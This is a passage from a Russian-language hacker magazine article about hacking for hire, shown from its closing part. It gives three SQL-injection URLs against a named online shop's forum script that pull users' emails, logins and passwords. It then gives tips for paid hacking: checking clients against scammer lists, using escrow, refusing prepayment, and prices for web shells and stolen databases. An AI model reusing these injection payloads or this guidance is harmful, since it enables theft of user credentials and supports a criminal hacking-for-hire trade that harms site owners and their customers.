Хакер по найму

Стройков Леонид aka R0id

Хакер, номер #094, стр. 094-090-3

http://elson.ru/cgi-bin/forum_editor.pl?event=view_topic&topic_id=-1+union+select+1,email,3,4,5+from+elson_users/*&s_text=

Спустя пару секунд у меня был список мыльников всех юзеров ру-шопа. Инъекция превосходно работала. Я поменял название поля на «login»:

http://elson.ru/cgi-bin/forum_editor.pl?event=view_topic&topic_id=-1+union+select+1,login,3,4,5+from+elson_users/*&s_text=

И извлек базу логинов пользователей. Затем аналогичным образом я составил запрос на получение паролей юзеров, который успешно выполнился:

http://elson.ru/cgi-bin/forum_editor.pl?event=view_topic&topic_id=-1+union+select+1,password,3,4,5+from+elson_users/*&s_text=

Проблема заключалась лишь в том, чтобы совместить извлеченные логины и пароли. Но и она была решена при помощи простого php-скрипта.

Таким образом, я успешно выполнил тестовый взлом в срок и приобрел постоянного клиента, который еще не раз обращался ко мне с подобными заказами. Но это уже совсем другая история.

Работаем на заказ

Как ты уже понял из вышеописанного мной примера, взлом на заказ - дело хлопотное, но вполне реальное. Главное - помнить несколько основных правил, с которыми я тебе сейчас познакомлю:

1. Старайся объективно оценивать свои возможности. Не берись за заказ, шансы на выполнение которого близки к нулю. В таком случае ты потратишь впустую и свое время, и время клиента, что негативно отразится на твоей репутации.

2. Остерегайся кидал! Проверяй данные заказчика по онлайн-базам рипперов (например, www.kidala.info). В сомнительных ситуациях работай через гарант (комиссия, как правило, составляет около 5% при сделках до $500 и около 7% при сделках свыше $500).

3. Никогда не работай по предоплате, бери деньги только после успешного выполнения заказа! И вот почему. Известны случаи, когда человека попросту подставляли по очень простой схеме. Однажды к одному из моих друзей обратился клиент, который предложил ему заказ и сразу оплатил его выполнение. Друг, естественно, согласился и буквально через час был добавлен в блэк-лист — мол, деньги взял, а заказ не выполнил. Другу повезло, благодаря широким связям в андеграунде и чистому имени его убрали из списка кидал, но осадок в душе остался. Не повторяй чужих ошибок.

4. Всегда реально оценивай сроки выполнения заказа. Если клиент настаивает на 2-х днях, а ты понимаешь, что за это время ты не успеешь развернуть фронт работ, - лучше откажись. Не думай, что ты сможешь «вкалывать» по 24 часа в сутки без перерыва на сон и отдых. Даже я сплю минимум по 4 часа в день, не смотря на мой опыт и привыкший к бессонным ночам организм. Взлом требует максимальной концентрации, которая невозможна после пяти суток безотрывного сидения за монитором. 5. Никогда не завышай и не занижай цену заказа. В первом случае ты потеряешь клиента, а во втором - останешься без денег. Здесь нужна «золотая середина». Создать единый прайс с расценками на услуги по взлому не представляется возможным, так как на сумму оплаты влияют многие факторы: сложность выполнения, сроки и т.д. Скажу лишь, что обычный веб-шелл с nobody-правами можно приобрести на сайте за $10, в то время как цена за БД с крупного финансового ресурса или хостинга может достигать нескольких тысяч американских рублей.